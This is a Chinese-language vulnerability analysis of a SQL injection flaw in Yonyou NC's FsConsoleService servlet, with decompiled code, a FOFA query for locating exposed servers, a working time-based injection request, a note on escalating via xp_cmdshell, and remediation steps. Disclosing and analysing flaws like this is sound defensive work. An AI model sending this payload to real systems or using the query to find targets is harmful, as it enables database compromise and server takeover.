漏洞简介
用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。这一系列产品基于全球最新的互联网技术、云计算技术和移动应用技术,旨在帮助企业创新管理模式、引领商业变革。用友NC、NC Cloud uap.pub.fs.console.FsConsoleService 接口存在SQL注入漏洞,攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令,从而控制服务器。
影响版本
NC633 / NC65 / NCC1811 / NCC1903 / NCC1909 / NCC2005
fofa语法
app="用友-UFIDA-NC"
漏洞分析
看下 uap.pub.fs.console.FsConsoleService 的业务逻辑实现
package uap.pub.fs.console;
import com.mongodb.MongoClient;
import com.mongodb.ServerAddress;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.PrintWriter;
import java.net.HttpURLConnection;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import nc.bs.framework.common.InvocationInfoProxy;
import nc.bs.framework.core.conf.ClusterConf;
import nc.bs.framework.core.conf.Configuration;
import nc.bs.framework.core.conf.ServerConf;
import nc.bs.framework.server.BusinessAppServer;
import nc.bs.logging.Logger;
import nc.jdbc.framework.exception.DbException;
import nc.vo.ml.NCLangRes4VoTransl;
import nc.vo.pub.lang.UFDateTime;
import org.apache.commons.lang.ArrayUtils;
import org.apache.commons.lang.StringUtils;
import uap.ae.pub.crypto.RSAKeysGenerator;
import uap.bs.fs.framework.service.ConfFileReader;
import uap.bs.fs.framework.service.ConfFileWriter;
import uap.bs.fs.framework.service.FsClusterSync;
import uap.pub.fs.client.FileStorageClient;
import uap.pub.fs.client.RestFileTransfer;
import uap.pub.fs.docCenter.DcUpdateToFs;
import uap.pub.fs.domain.basic.FileHeader;
import uap.pub.fs.domain.basic.ModuleStorageCache;
import uap.pub.fs.domain.basic.ModuleVO;
import uap.pub.fs.domain.basic.QueryParams;
import uap.pub.fs.domain.basic.RequestInfo;
import uap.pub.fs.exception.FileStorageException;
import uap.pub.fs.imex.service.FileImExVO;
import uap.pub.fs.imex.service.ImportExportUtils;
import uap.pub.fs.meta.service.IFileMetaQueryService;
import uap.pub.fs.meta.service.ILogQueryService;
import uap.pub.fs.module.service.IModuleQueryService;
import uap.pub.fs.prop.service.FsPropertyReader;
import uap.pub.fs.util.FileStorageUtil;
import uap.pub.fs.util.FsDateUtilities;
import uap.pub.fs.util.FsLogger;
import uap.pub.fs.util.FsServiceUtil;
@WebServlet({"/FsConsoleService"})
public class FsConsoleService extends HttpServlet {
private static final long serialVersionUID = 1L;
private IFileMetaQueryService queryService;
private IModuleQueryService moduleQueryService;
private ILogQueryService logQueryService;
public FsConsoleService() {
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
switch (request.getParameter("operType")) {
case "login":
this.loginAction(request, response);
break;
case "sysConf":
this.sysConfAction(request, response);
break;
case "syncConfig":
this.syncConfigAction(request, response);
break;
case "displayConf":
this.displayConfAction(request, response);
break;
case "checkService":
this.checkService(request, response);
break;
case "startService":
this.startService(request, response);
break;
case "connTest":
this.connTest(request, response);
break;
case "UFSTest":
this.UFSTest(request, response);
break;
case "import":
this.importFiles(request, response);
break;
case "export":
this.exportFiles(request, response);
break;
case "update":
this.updateDC2UFS(request, response);
break;
case "loadDataSources":
this.loadDataSources(request, response);
break;
case "addModule":
this.addModule(request, response);
break;
case "queryModule":
this.queryModule(request, response);
break;
case "deleteModule":
this.deleteModule(request, response);
break;
case "updateModule":
this.updateModule(request, response);
break;
case "getKey":
this.getKey(request, response);
break;
case "refreshKey":
this.refreshKey(request, response);
break;
case "readLogConf":
this.readLogConf(request, response);
break;
case "saveLogConf":
this.saveLogConf(request, response);
break;
case "clearlLogData":
this.clearlLogData(request, response);
break;
case "filterLog":
this.filterLog(request, response);
break;
case "refreshLog":
this.refreshLog(request, response);
}
}
根据 operType 的值进入对应的处理流程,当 operType=filterLog 是进入 filterLog 函数,其业务逻辑实现如下
private void filterLog(HttpServletRequest request, HttpServletResponse response) throws IOException {
String confData = request.getParameter("confData").trim();
StringBuffer sb = new StringBuffer();
RequestInfo[] logs;
if (StringUtils.isNotEmpty(confData)) {
String[] keyValue = confData.split("=");
if (keyValue.length < 2) {
logs = this.getLogQueryService().getAllLogs();
} else {
logs = this.getLogQueryService().getLog(keyValue[0], keyValue[1]);
}
} else {
logs = this.getLogQueryService().getAllLogs();
}
if (logs != null && logs.length > 0) {
sb.append("{");
for(int i = 0; i < logs.length; ++i) {
RequestInfo log = logs[i];
sb.append("\"").append(i).append("\":");
sb.append("{\"client\":\"").append(log.getClient()).append("\",\"requestUser\":\"").append(log.getRequestUser()).append("\",\"operType\":\"").append(log.getOperType()).append("\",\"requestURL\":\"").append(log.getRequestURL()).append("\",\"content\":\"").append(log.getContent()).append("\",\"startTime\":\"").append(log.getStartTime()).append("\",\"endTime\":\"").append(log.getEndTime()).append("\"}");
if (i != logs.length - 1) {
sb.append(",");
}
}
sb.append("}");
}
response.setContentType("text/html; charset=GBK");
PrintWriter out = response.getWriter();
try {
out.print(sb.toString());
} finally {
out.flush();
out.close();
}
}
如果 confData 为空或者以 = 分割后的数组长度小于2则直接进入 this.getLogQueryService().getAllLogs();函数,或者将分割后的数组前两个分别作为 key 和 value 代入 this.getLogQueryService().getLog(keyValue[0], keyValue[1]); 函数
public RequestInfo[] getLog(String key, String value) {
String dsName = this.getDsName();
StringBuffer clause = new StringBuffer();
clause.append(key);
if (!StringUtils.isEmpty(value) && !"null".equalsIgnoreCase(value)) {
clause.append("='").append(value).append("'");
} else {
clause.append(" is null");
}
clause.append(" ORDER BY TS DESC");
RequestInfo[] LogVOs = (RequestInfo[])(new DBOperDelegator(RequestInfo.class, dsName)).loadByClause(clause.toString());
return LogVOs != null && LogVOs.length > 0 ? LogVOs : new RequestInfo[0];
}
主要格式化处理 key 和 value 后组成SQL语句一部分,无任何过滤和校验,组合后的部分样例:key='value'格式,然后代入 DBOperDelegator 的 loadByClause 方法内,而此方法逻辑如下
public Object[] loadByClause(String clause) {
IMappingMeta meta = this.getMappingMeta();
Object[] var10;
try {
Collection list = (new BaseDAO(this.dsName)).retrieveByClause(this.getVoClz(), meta, clause);
var10 = this.transArrays(list.toArray());
} catch (Exception e) {
String msg = "db operate: load by clause error. ";
FsLogger.error(msg + e);
throw new FileStorageDBException(msg, e);
} finally {
DataSourceUtil.postProcess(true);
}
return var10;
}
将 clause 代入 retrieveByClause 函数,其实现逻辑如下
public Collection retrieveByClause(Class className, IMappingMeta meta, String condition) throws DAOException {
PersistenceManager manager = null;
Collection e;
try {
manager = this.createPersistenceManager(this.dataSource);
e = manager.retrieveByClause(className, meta, condition);
} catch (DbException e) {
Logger.error(e.getMessage(), e);
throw new DAOException(e.getMessage());
} finally {
if (manager != null) {
manager.release();
}
}
return e;
}
最终将 condition 组合在sql语句里并调用 executeQuery 执行SQL语句,整个过程无任何过滤校验,造成SQL注入漏洞。
public Collection retrieveByClause(Class className, IMappingMeta meta, String condition, String[] fields, SQLParameter params) throws DbException {
String sql = SQLHelper.getSelectSQL(meta.getTableName(), fields);
if (condition != null && condition.length() != 0) {
if (condition.trim().toUpperCase().startsWith("ORDER ")) {
sql = sql + " " + condition;
} else {
sql = sql + " WHERE " + condition;
}
}
BaseProcessor processor = new BeanMappingListProcessor(className, meta, fields);
return params != null ? (Collection)this.session.executeQuery(sql, params, processor) : (Collection)this.session.executeQuery(sql, processor);
}
漏洞复现
默认访问接口会返回所有日志内容

漏洞验证
GET /servlet/~uapbs/uap.pub.fs.console.FsConsoleService?confData=guid%3d233%27;WAITFOR+DELAY+'0:0:4'--+&operType=filterLog HTTP/1.0
Host: nc.mrxn.net

解决方案
1、将hotwebs/fs/console.html和hotwebs/fs/manage.html删除。
2、删除hotwebs\fs\WEB-INF\web.xml里的如下配置
<servlet>
<servlet-name>FileConsoleService</servlet-name>
<servlet-class>uap.pub.fs.console.FsConsoleService</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FileConsoleService</servlet-name>
<url-pattern>/console</url-pattern>
</servlet-mapping>
重启服务。


